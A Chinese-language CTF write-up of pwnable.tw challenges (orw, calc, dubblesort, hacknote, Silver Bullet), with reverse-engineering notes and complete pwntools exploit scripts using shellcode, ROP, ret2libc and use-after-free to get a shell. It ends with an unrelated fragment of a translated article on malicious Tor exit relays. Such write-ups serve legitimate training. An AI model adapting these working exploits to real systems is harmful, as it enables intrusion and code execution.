### 0x02 seccomp
首先直接尝试了调用sys_execve来获取shell，结果失败
重新看程序，发现了 **orw_seccomp** ，猜测这里使用seccomp白名单的保护机制来限制我们对系统调用（system call）的函数调用
这里我们的目的是读取flag文件
为了绕过seccomp，我们不用获取shell
只需要利用：
sys_open
sys_read
sys_write
来读取/home/orw/flag文件即可(官网：The flag is usually at /home/xxx/flag)
### 0x03 shellcode
xor ecx,ecx
push ecx ;字符串结尾00
push 0x67616c66
push 0x2f77726f
push 0x2f656d6f
push 0x682f2f2f
mov ebx,esp ;const char __user *filename
xor edx,edx ;int mode
mov eax,0x5 ;sys_open
int 0x80
mov ebx,eax ;int fd
mov ecx,esp ;char __user *buf
mov edx,0x30 ;size_t count
mov eax,0x3 ;sys_read
int 0x80
mov eax,0x4 ;sys_write
mov ebx,0x1 ;int fd=1 (标准输出stdout）/（0 标准输入， 1 标准输出，2 标准错误）
mov edx,0x30 ;size_t count
int 0x80
或者直接利用shellcraft构造：
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
### 0x04 EXP
from pwn import *
p = remote('chall.pwnable.tw',10001)
p.recvuntil(':')
shellcode = "xor ecx,ecx;push ecx;push 0x67616c66;push 0x2f77726f;push 0x2f656d6f;push 0x682f2f2f;mov ebx,esp;xor edx,edx;mov eax,0x5;int 0x80;mov ebx,eax;mov ecx,esp;mov edx,0x30;mov eax,0x3;int 0x80;mov eax,0x4;mov ebx,0x1;mov edx,0x30;int 0x80"
p.send(asm(shellcode))
p.interactive()
或者：
from pwn import *
p = remote("chall.pwnable.tw", 10001)
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp') #shellcraft.i386.linux.syscall("SYS_open", 'esp', 'O_RDONLY', 0)(O_RDONLY只读模式，O_WRONLY只写模式，O_RDWR读写模式)
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
p.recvuntil(":")
p.send(asm(shellcode))
p.interactive()
## pwnable.tw_challenge_calc
首先运行一下
了解到这个程序大概类似计算器，计算我们输入的一个合法表达式的值
载入IDA分析：
### 0x01 程序过程
0x01 main
push ebp
mov ebp, esp
and esp, 0FFFFFFF0h
sub esp, 10h
mov dword ptr [esp+4], offset timeout
mov dword ptr [esp], 0Eh
call ssignal
mov dword ptr [esp], 3Ch
call alarm
mov dword ptr [esp], offset aWelcomeToSecpr ; "=== Welcome to SECPROG calculator ==="
call puts
mov eax, stdout
mov [esp], eax
call fflush
call calc
mov dword ptr [esp], offset aMerryChristmas ; "Merry Christmas!"
call puts
leave
retn
可以看到这里关键处：
调用一个计时器
调用关键函数calc
0x02 calc
0x01 canary保护
可以看到函数开始：
push ebp
mov ebp, esp
sub esp, 5B8h
mov eax, large gs:14h
mov [ebp+var_C], eax
xor eax, eax
可以看到这里启用了canary保护
将内存large gs:14h中的(随机值)入栈
并在程序返回前对canary值进行检验：
nop
mov eax, [ebp+var_C]
xor eax, large gs:14h
jz short locret_8049432
canary值在栈中位于返回地址和函数调用参数之间
从而保护了栈内数据，防止我们修改返回地址造成栈溢出
0x02 _bzero
canary入栈后calc调用了bzero：
mov dword ptr [esp+4], 400h
lea eax, [ebp+s]
mov [esp], eax ; s
call _bzero
这里从ebp+s开始将一段长为0x400的空间清零
0x03 get_expr
开辟一段数据后，calc调用了get_expr函数
mov dword ptr [esp+4], 400h
lea eax, [ebp+s]
mov [esp], eax
call get_expr
跟进get_expr后发现一堆判断跳转
大致过程：
过滤掉除"[0-9],+,-,×,/,%"外的其他字符
读入我们输入的表达式到_bzero开辟的空间中
当我们成功读入返回值不为0，calc跳转到loc_80493CC处：
test eax, eax
jnz short loc_80493CC
0x04 init_pool
接下来calc调用init_pool：
lea eax, [ebp+var_5A0]
mov [esp], eax
call init_pool
init_pool：
.text:08048FF8 push ebp
.text:08048FF9 mov ebp, esp
.text:08048FFB sub esp, 10h
.text:08048FFE mov eax, [ebp+arg_0]
.text:08049001 mov dword ptr [eax], 0
.text:08049007 mov [ebp+var_4], 0
.text:0804900E jmp short loc_8049022
.text:08049010 ; --------------------------------------------------------------------------- .text:08049010
.text:08049010 loc_8049010: ; CODE XREF: init_pool+2E↓j
.text:08049010 mov eax, [ebp+arg_0]
.text:08049013 mov edx, [ebp+var_4]
.text:08049016 mov dword ptr [eax+edx*4+4], 0
.text:0804901E add [ebp+var_4], 1
.text:08049022
.text:08049022 loc_8049022: ; CODE XREF: init_pool+16↑j
.text:08049022 cmp [ebp+var_4], 63h
.text:08049026 jle short loc_8049010
.text:08049028 leave
.text:08049029 retn
很简短的一个过程：
从ebp+var_5A0开始
将长度为63h的空间清零
0x05 parse_expr
接下来calc调用 parse_expr函数：
lea eax, [ebp+var_5A0]
mov [esp+4], eax
lea eax, [ebp+s]
mov [esp], eax
call parse_expr
可以看到其参数：
init_pool清零的那段空间的首地址：ebp+var_5A0
对应读入表达式的首地址：ebp+s
首先F5分析一下parse_expr的伪代码（分析在注释处）：
signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
int v2; // ST2C_4
int v4; // eax
int v5; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v7; // [esp+28h] [ebp-80h]
char *s1; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
v5 = a1;
v7 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )// 比对ascii并转换成unsigned int后，检验是否为运算符
{
v2 = i + a1 - v5; // 运算符左操作数长度
s1 = (char *)malloc(v2 + 1);
memcpy(s1, v5, v2);
s1[v2] = 0;
if ( !strcmp(s1, "0") ) // 判断运算符左边操作数是否为0
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi((int)s1); // 将读入的操作数由字符串转化为int
if ( v9 > 0 )
{
v4 = (*a2)++; // a2[0]保存操作数个数
a2[v4 + 1] = v9; // 将第二个操作数存入第二次开辟的那段空间
}
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )// 判断是否两个运算符连续
{
puts("expression error!");
fflush(stdout);
return 0;
}
v5 = i + 1 + a1; // v5指向运算符后一个字符，构造下一个循环
if ( s[v7] ) // 判断是否为第一个操作数（对上一个操作符进行判断）
{
switch ( *(char *)(i + a1) )
{
case 37:
case 42:
case 47:
if ( s[v7] != 43 && s[v7] != 45 ) // 判断运算是否为加减从而确定运算顺序
{
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
}
else
{
s[++v7] = *(_BYTE *)(i + a1);
}
break;
case 43:
case 45:
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
break;
default:
eval(a2, s[v7--]); // 保证了最后while时运算符右边的优先级大于左边
break;
}
}
else // 若此操作符不是第一个操作符，则读入s[v7]中
{
s[v7] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) ) // 字符串结尾
break;
}
}
while ( v7 >= 0 )
eval(a2, s[v7--]); // 将因优先级问题没有计算的运算从右向左依次计算
return 1;
}
除此之外，这里调用了eval函数来进行计算：
_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax
if ( a2 == 43 )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > 43 )
{
if ( a2 == 45 )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == 47 )
{
a1[*a1 - 1] /= a1[*a1];
}
}
else if ( a2 == 42 )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}
可以看到：
init_pool中开辟的空间依次保存操作数（即calc中的：var_59C= dword ptr -59Ch）（开始位置保存操作数个数）
parse_expr中新开辟的空间s保存运算符
a2[*a2]处保存表达式最终结果
### 0x02 漏洞
在parse_expr中分析：
正常情况下最终应该在a2[1]处的值为结果
可当考虑到第一个字符即为运算符的情况下：
例如：+10
*a2=1(一个操作数)
a2[1]=10
s[0]='+'
a2[*a2-1]=a2[*a2-1]+a2[*a2]
即：a2[0]=a2[0]+a2[1]=11
而后--*a2,即：*a2=10
最终输出结果为a2[*a2]=a2[10]
这里注意*a2与 init_pool中开辟的63h长度的地址是连续的，记 init_pool中地址为a3的话
那么如果最后输出a3[*a2-1]=a2[*a2]
同样地：
如果+10+1
则会使：a2[10]=a2[10]+1
并输出a2[10]
那么当我们选取恰当大小的操作数即可绕过canary修改返回地址，从而实现溢出
这里注意：
每一次循环都会重新调用前面两个清零的函数，我们修改这里的数据，下一次依然会清零（不过这段地址外数据（包括我们要修改的返回地址）不会清零，可以修改）
我们查看一下程序的保护机制：
checksec --file ./calc
发现：
这里开启了NX保护
我们无法在栈上执行shellcode拿到shell
同时看到这里：
objdump -R ./clac
程序是静态链接
我们这里考虑利用ROP调用sys_execve来获得shell
0x03 ROP
首先计算出返回地址与*a2的距离
0x5A0+0x4=1444
1444/4=361
故而:
输入+361时反回的即时calc的返回地址
我们需要连续修改a2[361]后的一段栈内数据来构造ROP链
我们最终需要：
ebx=“/bin/sh”字符串首地址
ecx=0
eax=0xb
我们需要构造一段栈内数据：
addr(pop eax;ret)->0xb->addr(pop ecx;popebx,ret)->0->addr"/bin/sh"->addr(int 80h)->"/bin/sh"
利用ROPgadget找到我们需要指令的地址：
ROPgadget --binary ./calc --ropchain
下面：
我们需要先通过找到栈中对应位置的值计算出我们需要的差值
利用差值将从返回地址开始的一段栈数据修改成我们需要的值
例如：
我们先修改+361处的值
+361处需要修改为addr(pop eax;ret)（pop eax;ret指令地址）
假设pop eax;ret指令地址为：0x1
我们输入"+361"，返回：0x0
它与我们需要的值差值为0x1-0x0=1
我们输入+361+1
即可修改+361处值为我们需要的0x1
注意：
**其中/bin/sh字符串我们只知道其在栈中的相对地址，这里需要我们先取得main函数的ebp地址（我们取得+360(main函数基地址)是负数，需要+0x100000000转换后运算，再在最后-0x100000000修改对应位置值）**
在main中：
and esp, 0FFFFFFF0h
sub esp, 10h
故而返回地址即在：
addr_re=([ebp]&0xfffffff0)-16 #注意脚本书写时运算优先级"+">"&"
**而后再根据我们最后在栈内构造的字符串”/bin/sh”与返回地址的相对位置计算出字符串”/bin/sh”的地址即可**
0x04 EXP
from pwn import *
p=remote('chall.pwnable.tw',10100)
#p=process("./calc")
key=[0x0805c34b,11,0x080701d1,0,0,0x08049a21,0x6e69622f,0x0068732f]
p.recv()
p.sendline('+360')
addr_bp=int(p.recv())
addr_re=((addr_bp+0x100000000)&0xFFFFFFF0)-16
addr_str=addr_re+20-0x100000000
addr=361
for i in range(5):
p.sendline('+'+str(addr+i))
ans=int(p.recv())
if key[i]<ans:
ans=ans-key[i]
p.sendline('+'+str(addr+i)+'-'+str(ans))
else:
ans=key[i]-ans
p.sendline('+'+str(addr+i)+'+'+str(ans))
p.recv()
p.sendline('+'+'365'+str(addr_str))
p.recv()
for i in range(5,8):
p.sendline('+'+str(addr+i))
ans=int(p.recv())
if key[i]<ans:
ans=ans-key[i]
p.sendline('+'+str(addr+i)+'-'+str(ans))
else:
ans=key[i]-ans
p.sendline('+'+str(addr+i)+'+'+str(ans))
p.recv()
p.send('kirin'+'n')
p.interactive()
## pwnable.tw_challenge_dubblesort
首先运行一下大概了解程序的流程：
运行结果
What your name :kirin
Hello kirin
��/,How many numbers do you what to sort :3
Enter the 0 number : 4
Enter the 1 number : 5
Enter the 2 number : 6
Processing......
Result :
4 5 6
首先是传入一个name
而后需要我们指出需要排序的数字个数
而后需要我们依次输入需要排序的数字
最后程序给出排序好的result
不过这里发现一个问题， **有些名字后存在其他字符（类似乱码）**
**猜测这里应该是字符串00结尾没有处理好而泄露了名字后的部分数据**
先记下这个问题
下面载入IDA分析：
### 0x01 main
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0FFFFFFF0h
add esp, 0FFFFFF80h
call sub_5662B750
add ebx, 15CCh
mov eax, large gs:14h
mov [esp+7Ch], eax
xor eax, eax
call sub_5662B8B5
可以看出这里：
开启了canary保护：mov eax, large gs:14h
调用了一个sub_5662B8B5函数（一个计时器）
可以直接绕过这个计时器来动态分析：
call sub_5662B8B5改为nop
或者：在call地址后的首句push ebp改为retn
或者：类似方法去除程序对alarm/signal的调用
或者：直接改变alarm的参数（加长时间）
或者：调试到alarm时set新的ip跳过call alarm
在gdb中可以忽略中间信号来绕过计时器：
i handle SIGALRM
handle SIGALRM nopass
下面：
输出”What your name :”：
.text:5662B9EB lea eax, (aWhatYourName - 5662CFA0h)[ebx] ; "What your name :"
.text:5662B9F1 mov [esp+4], eax
.text:5662B9F5 mov dword ptr [esp], 1
.text:5662B9FC call ___printf_chk
从输入流读入0x40长度(输入流结尾自动停止读入)的字节到esp+8Ch+buf处：
.text:5662BA01 mov dword ptr [esp+8], 40h ; '@' ; nbytes
.text:5662BA09 lea esi, [esp+8Ch+buf]
.text:5662BA0D mov [esp+4], esi ; buf
.text:5662BA11 mov dword ptr [esp], 0 ; fd
.text:5662BA18 call _read
输出”Hello %s,How many numbers do you what to sort :”：
mov [esp+8], esi
lea eax, (aHelloSHowManyN - 5662CFA0h)[ebx] ; "Hello %s,How many numbers do you what t"...
mov [esp+4], eax
mov dword ptr [esp], 1
call ___printf_chk
使用scanf读入一个unsigned型数（所需排序个数）：
.text:5662BA37 lea eax, [esp+18h]
.text:5662BA3B mov [esp+4], eax
.text:5662BA3F lea eax, (aU - 5662CFA0h)[ebx] ; "%u"
.text:5662BA45 mov [esp], eax
.text:5662BA48 call ___isoc99_scanf
接下来再调用scanf读入相应个数的unsigned并调用一个冒泡排序:sub_5662B931
最终输出结果
### 0x02 漏洞
0x01 字符串结尾x00截断问题
**首先就是开始时候的name可以泄露栈内数据：**
当我们输入：”aaaa”
程序输出：
看一下栈内数据：
可以看到buff内数据是 **aaaa+’n’**
，而后面没有对字符串结尾加上00进行截断，导致后面的FFBA4B00上的数据在换行之后也输出了，直到遇到FFBA4804处的”x00”
0x02 scanf读取unsigned数时非法字符问题
测试代码：
#include<stdio.h>
int main()
{int i;
while(~scanf("%u",&i))
printf("%un",i);
}
当输入一个非法字符时，其可能会因输入流问题直接输出栈上数据：
当输入"+-"这类数字本身中就有（"+-"代表正负）的字符，则输出栈上数据
+
32764
- 32764
当输入"abc......"这类非法字符，因为输入流问题，这里没有成功scanf，便不断printf数据
a
32764
32764
32764
32764
.......
在程序中测试：
./dubblesort
What your name :kirin
Hello kirin
��/,How many numbers do you what to sort :5
Enter the 0 number : +
Enter the 1 number : +
Enter the 2 number : +
Enter the 3 number : +
Enter the 4 number : +
Processing......
Result :
0 1 12779520 4158922506 4291112735
我们输入前栈中v13(保存需要排序的数字)处的数据分布：
排序输出后：
**可以看到我们这里输入”+”并不改变栈内数据，而是对其中的数据重新排序**
0x03 ret2libc
首先使用chechsec看一下程序的保护机制：
checksec ./dubblesort
可以看到全部开启，考虑到调试过程发现其加载了libc库以及：
objdump -R ./dubblesort
这里我们可以利用ret2libc执行system(“/bin/sh”)来获取shell
我们需要：
对方环境下libc动态库中函数system的偏移量
对方环境下libc动态库中字符串"binsh"的偏移量
程序加载libc库的基地址
合理布置栈来执行函数
0x01 system的偏移量
利用题目给出的库文件：
readelf -s ./libc_32.so.6|grep system
245: 00110690 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
所以：
system_off = 0x3a940
0x02 “binsh”的偏移量
hexdump -C ./libc_32.so.6|grep /bin -A 1 #防止换行所以只grep /bin 而后显示后一行
找到了：
00158e80 74 6f 64 5f 6c 2e 63 00 2d 63 00 2f 62 69 6e 2f |tod_l.c.-c./bin/|
00158e90 73 68 00 65 78 69 74 20 30 00 63 61 6e 6f 6e 69 |sh.exit 0.canoni|
所以：
bin_sh_off = 0x158e8b
0x03 程序加载libc库的基地址
若要获取基地址，便要得到一个相对基地址偏移量固定的地址
而能泄露数据的只有name和最后的排序处
但排序处会直接结束进程
我们需要利用排序前的scanf来布置栈空间
所以这里只能利用name泄露buf后某个栈内地址
动态调试看一下name后的栈内数据：
可以看到第七和第八个数据都在libc中
接着调试后锁定第七个数据：
看一下这次载入libc的地址：
第七位地址的相对位移：
off=0xf7f70000-0xf7dbe000=0x1b2000
**注意：这里的偏移地址是相对于本地的libc-2.23.so文件**
readelf -S ./libc-2.23.so
看到这里的对应偏移位置是：
.got.plt
对应远程的libc文件的.got.plt的偏移地址为：
0x1b0000
栈中数据构造
这里需要注意：
栈内数据写入后会被排序
所以我们要让排序后的栈内：
cannary处 -> 输入加号使其保持不变
返回地址处 -> system_addr
返回地址后一个单位 -> system的返回地址(随意填写，不过注意大小问题，这里直接填入system_addr或者bin_sh_addr)
返回地址后第二位 -> bin_sh_addr
一般情况下这几个数便是从小到大排列（除非canary随机到很大）
所以我们：
首先将数字正常的栈空间覆盖为0(调试后是24位)
canary处:"+"
canary到返回地址间覆盖为system_addr
返回地址后一位system函数返回地址处覆盖为system_addr或者bin_sh_addr
再后一位覆盖为bin_sh_addr
不过当输入字符来利用name获得.got.plt地址时总是出错
调试后发现，这个地址末位总是00，造成了截断，所以需要多输入一位来使用换行符（chr(0xa)）来覆盖这里（在后面计算地址的时候再减去0xa）
### 0x03 EXP
from pwn import *
got_off = 0x1b0000
system_off = 0x3a940
bin_sh_off = 0x158e8b
p = remote("chall.pwnable.tw",10101)
p.recv()
p.sendline('a'*24)
got_addr = u32(p.recv()[30:34])-0xa
libc_addr = got_addr-got_off
system_addr = libc_addr + system_off
bin_sh_addr = libc_addr + bin_sh_off
p.sendline('35')
p.recv()
for i in range(24):
p.sendline('0')
p.recv()
p.sendline('+')
p.recv()
for i in range(9):
p.sendline(str(system_addr))
p.recv()
p.sendline(str(bin_sh_addr))
p.recv()
p.interactive()
## pwnable.tw_challenge_hacknote
打开程序，查看功能：
./hacknote
---------------------- HackNote
---------------------- 1. Add note
2. Delete note
3. Print note
4. Exit
---------------------- Your choice :
这里可以增加删除打印note信息
载入IDA分析:
### 0x01 add_note
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = putnote;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
可以看到这里malloc了一个结构体：
struct note{
*putnote; //指向用于输出note内容的函数( *(_DWORD *)ptr[i] = putnote;)
*text; //指向note对应的内容(read(0, *((void **)ptr[i] + 1), size);)
}
而后根据size再申请新的空间：
v0 = ptr[i];
v0[1] = malloc(size);//申请存储note内容的地址
### 0x02 print_note
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
return __readgsdword(0x14u) ^ v3;
}
可以看到这里调用结构体第一个位置的地址所指的函数，参数就是结构体本身
### 0x03 delete_note
unsigned int delete_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
可以看到这里只是用free释放
但没有将指针置空为NULL
产生一个迷途指针
这里便可利用这个指针来造成堆溢出来获得shell
### 0x04 malloc分配机制
#define request2size(req)
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ?
MINSIZE :
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
SIZE_SZ：
sizeof(size_t) //32位->4字节，64位->8字节
MINSIZE:
#define MINSIZE
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
MIN_CHUNK_SIZE为一个chunk结构体的大小：为16字节
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
**MALLOC_ALIGNMENT为2*SIZE_SZ**
**MALLOC_ALIGN_MASK 为2*SIZE_SZ-1**
**由此即可通过最开始的request2size(req) 计算出系统分配出的内存大小** ：
例如，32位时：
MINSIZE：(16+2*4-1)&~(2*4-1)=16
申请字节：
1-4字节：(req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE
系统分配：
MINSIZE=16字节
申请字节：
5-12字节：(req) + SIZE_SZ + MALLOC_ALIGN_MASK >=MINSIZE
系统分配：
(req) + SIZE_SZ + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK=16字节
申请字节：
13字节
系统分配：
(req) + SIZE_SZ + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK=24字节
//可以看到分配相邻上下大小之差为系统指针大小（32位8字节，64位16字节）
**又因fastbin采用LIFO原则(其会在空表从后往前寻找首先合适的堆块)**
故而我们需要先申请两个note
再利用delete制造迷途指针并利用堆溢出覆盖堆中数据从而拿到shell
### 0x05 漏洞利用
首先看到：
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
当我们print_note时，会调用结构体中第一个地址指向的函数
函数参数就是结构体自身
我们需要溢出覆盖掉一个之前申请过的结构体
将结构体第一个函数地址修改（获得shell，需要覆盖为system的地址）
而一个结构体16个字节，system的参数即为结构体本身
这里需要使用system的参数截断
例如使用:
"||sh"或者";sh"
这里可以利用malloc的分配机制
首先申请两个note，长度>12(例，申请16字节)
这时候堆内：
16->24->16->24
而后使用delete_note来free这4个空间
当我们再次add_note一个16字节的note时
根据fastbin的LIFO原则
从后往前第一个满足的空间便是第一个空间（第三个空间处覆盖为结构体）
即：note的文本内容会修改原本0号结构体
**如果我们修改结构体中*text内容为.got.plt中的一个地址**
**那么print_note第0号即会打印出函数加载后的真实地址**
再根据其在libc库中的偏移求出程序加载动态库的基址
进而计算出system函数地址
再继续修改一次结构体数据为system的地址（参数截断上面已说明）
重新print_note来调用修改后结构体中地址对应的system函数
进而获取shell
### 0x06 EXP
from pwn import *
def add_note(size,content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("size :")
p.sendline(size)
p.recvuntil("Content :")
p.sendline(content)
def delete_note(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(index)
def print_note(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(index)
p=remote("chall.pwnable.tw", 10102)
elf=ELF("./hacknote")
elib=ELF("./libc_32.so.6")
read_got=elf.got["read"]
putnote=0x804862b
add_note("16",15*"a")
add_note("16",15*"a")
delete_note('0')
delete_note('1')
add_note('8',p32(putnote)+p32(read_got))
print_note('0')
read_addr=u32(p.recv()[:4])
sys_addr=read_addr-elib.symbols["read"]+elib.symbols["system"]
delete_note('2')
add_note('8',p32(sys_addr)+";shx00")
print_note('0')
p.interactive()
## pwnable.tw_challenge_Silver Bullet
打开程序：
./silver_bullet
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
++++++++++++++++++++++++++
类似一个游戏，开始没看懂怎么玩，直接载入IDA分析：
### 0x01 power_up
int __cdecl power_up(char *dest)
{
char s; // [esp+0h] [ebp-34h]
size_t v3; // [esp+30h] [ebp-4h]
v3 = 0;
memset(&s, 0, 0x30u);
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 0x2Fu ) // *(dest+12)指针指向的值 > 47
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 48 - *((_DWORD *)dest + 12)); // 限制读入长度
strncat(dest, &s, 48 - *((_DWORD *)dest + 12)); //使用strncat连接两字符串，会自动在结尾添加x00
v3 = strlen(&s) + *((_DWORD *)dest + 12);
printf("Your new power is : %un", v3);
*((_DWORD *)dest + 12) = v3;
return puts("Enjoy it !");
}
### 0x02 create_bullet
int __cdecl create_bullet(char *s)
{
size_t v2; // ST08_4
if ( *s )
return puts("You have been created the Bullet !");
printf("Give me your description of bullet :");
read_input(s, 0x30u);
v2 = strlen(s);
printf("Your power is : %un", v2); // s的长度
*((_DWORD *)s + 12) = v2; // +12指12个dword长度
return puts("Good luck !!");
}
### 0x03 漏洞利用
可以看出漏洞与决定游戏成功的beat函数无关
关键在power_up函数处：
read_input(&s, 48 - *((_DWORD *)dest + 12));
strncat(dest, &s, 48 - *((_DWORD *)dest + 12));
这里依赖*dest+12处的值来限制读取长度
而*dest后的数据可以利用strnca修改
**strncat会在字符串结尾自动补全x00**
当我们先读取了一定长度字符串
再连接一定长度字符串，两字符串恰好相加为48字节
并由于strncat自动添加x00，便会覆盖*dest+12处的数据，造成栈溢出
而此时依然依赖*dest+12处的值来限制读取长度
我们便可以继续覆盖栈内数据
直到将main返回地址修改
我们需要调用system，便需要直到libc加载的基地址
同hacknote相同
我们可以修改main返回地址为put地址(即put在plt中的地址)
参数为.got中一个地址
便可利用put出的值以及此函数在libc中的位置计算出libc的基址
进而计算出system地址
而后我们重新利用上面的过程来调用system
**所以我们要重新调用main来重复利用上述过程**
**此处我们将put的返回地址覆盖为main开始地址即可**
有一点注意：
只有beat()成功时才会返回main
否则直接4.return会exit(0)方式退出
故而覆盖*dest+12处的数时，需要让他满足win的条件
### 0x04 EXP
from pwn import *
def create(s):
p.recvuntil(':')
p.sendline('1')
p.recvuntil(':')
p.sendline(s)
def power_up(s):
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.send(s)
def beat():
p.recvuntil(':')
p.sendline('3')
p=remote('chall.pwnable.tw', 10103)
elf=ELF("./silver_bullet")
elib=ELF("./libc_32.so.6")
bin_sh_off = 0x158e8b
puts_addr=0x80484a8
read_got=elf.got["read"]
main_addr=elf.symbols["main"]
create('a'*47)
power_up('a')
payload = 'xff'*7+p32(puts_addr)+p32(main_addr)+p32(read_got)
power_up(payload)
beat()
p.recvuntil("You win !!n")
read_addr = u32(p.recv(4))
sys_addr=read_addr-elib.symbols["read"]+elib.symbols["system"]
bin_sh_addr=read_addr-elib.symbols["read"]+bin_sh_off
create('a'*47)
power_up('a')
payload2='xff'*7 + p32(sys_addr) + 'a'*4 + p32(bin_sh_addr)
power_up(payload2)
beat()
p.interactive()
审核人：yiwang 编辑：边边 | 社区文章 |
# 2020年的恶意Tor中继器如何侵占用户利益
|
##### 译文声明
本文是翻译文章，文章原作者 nusenu，文章来源：medium.com
原文地址：<https://medium.com/@nusenu/how-malicious-tor-relays-are-exploiting-users-in-2020-part-i-1097575c0cac>
译文仅供参考，具体内容表达以及含义原文为准。
> 23%的Tor网络出口中继器一直在攻击Tor用户
图1：经过一段时间（由这个特定的恶意实体）确认的恶意Tor出口容量（以全体可用的Tor出口中继器作为基数衡量）。Nuseu图表（原始数据源：<https://metrics.torproject.org/oninoo.html>)
2019年12月，我写了一篇文章，主题是Tor网络上日益严重的恶意中继器问题，目的是提高人们的警惕性，并且逐步改善这种状况。不幸的是，事情不但没有得到改善，反而变得更糟，其中恶意Tor出口中继器问题尤其严重。
Tor出口中继器是3个中继器中的最后一个跃迁节点，也是唯一一种可以看到Tor浏览器用户连接的中继器，这个连接将通向用户选择的实际目的地。用户使用的协议（即http与https）决定恶意出口中继器是否可以实际看到和篡改传输的内容。
在过去的一段时间里，我对一个大规模犯罪集团一直保持关注，在这篇文章里，我将给大家展示2020年前七个月里，恶意tor中继器的最新情况。事实证明，现有的审查手段不足以防止这种大规模的攻击。
## 恶意经营者的规模
